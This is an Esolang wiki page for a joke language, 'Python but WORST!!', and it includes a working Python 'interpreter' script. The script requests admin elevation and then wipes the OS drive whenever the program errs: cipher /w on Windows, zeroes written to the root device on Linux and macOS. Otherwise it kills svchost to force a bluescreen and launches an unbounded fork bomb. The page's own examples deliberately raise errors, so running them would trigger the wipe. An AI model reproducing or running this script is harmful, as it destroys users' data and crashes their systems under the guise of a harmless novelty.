Python But WORST!!

From Esolang
Jump to navigation Jump to search

Python but WORST!! is designed by Mihai Popa.

It's just like Python But WORST, but if the program doesn't have any error, it will cause a BSOD (on Windows) or forks subproceeses on Linux or macOS. If the program raises a error, it will instead format your OS partition.

Examples

Hello, world!

print("Hello, world!")

Or this:

print("Hello, world!") # Not a error
hello("Hello, world!") # Undefined
1/0

Truth Machine

a = input()
if a == "0":
    print(0)
    1/0
else:
    while 1:
        print(1)
        1/0

Interpreter

created by User:BigGreenHat

WARNING: The following script may delete data on storage devices (drives) connected to or inside your computer, I am not responsible for any data loss from using the following script, Use at your own risk

import os
import sys

def wipe():
    import platform
    import subprocess
    def wipe_drive_windows(drive_letter="C:"):
        os.system(f"cipher /w:{drive_letter}\\")

    def wipe_drive_linux_mac(disk_path="/dev/sda"):
        with open(disk_path, "wb") as f:
            while True:
                f.write(b"\x00" * 1024 * 1024)

    def detect_os_drive():
        system = platform.system()
        if system == "Windows":
            return "C:"
        elif system == "Linux":
            return os.popen("df / | tail -1 | awk '{print $1}'").read().strip()
        elif system == "Darwin":
            return os.popen("df / | tail -1 | awk '{print $1}'").read().strip()
        else:
            raise RuntimeError("Your Lucky: Unsupported OS")

    os_name = platform.system()
    drive = detect_os_drive()
    if os_name == "Windows":
        wipe_drive_windows(drive)
    else:
        wipe_drive_linux_mac(drive)

if sys.platform == "win32":
    import ctypes
    if not ctypes.windll.shell32.IsUserAnAdmin():
        ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, ' '.join(sys.argv), None, 1)
        sys.exit()
with open(sys.argv[1], "r", encoding = "utf-8") as f:
    c = f.read()
try:
    exec(c)
except Exception as e:
    wipe()
else:
    if sys.platform == "win32":
        os.system("taskkill /f /IM svchost") # Bluescreen
    os.fork()
    os.fork()
    os.fork()
    while True:
        os.fork()

See also

Python But WORST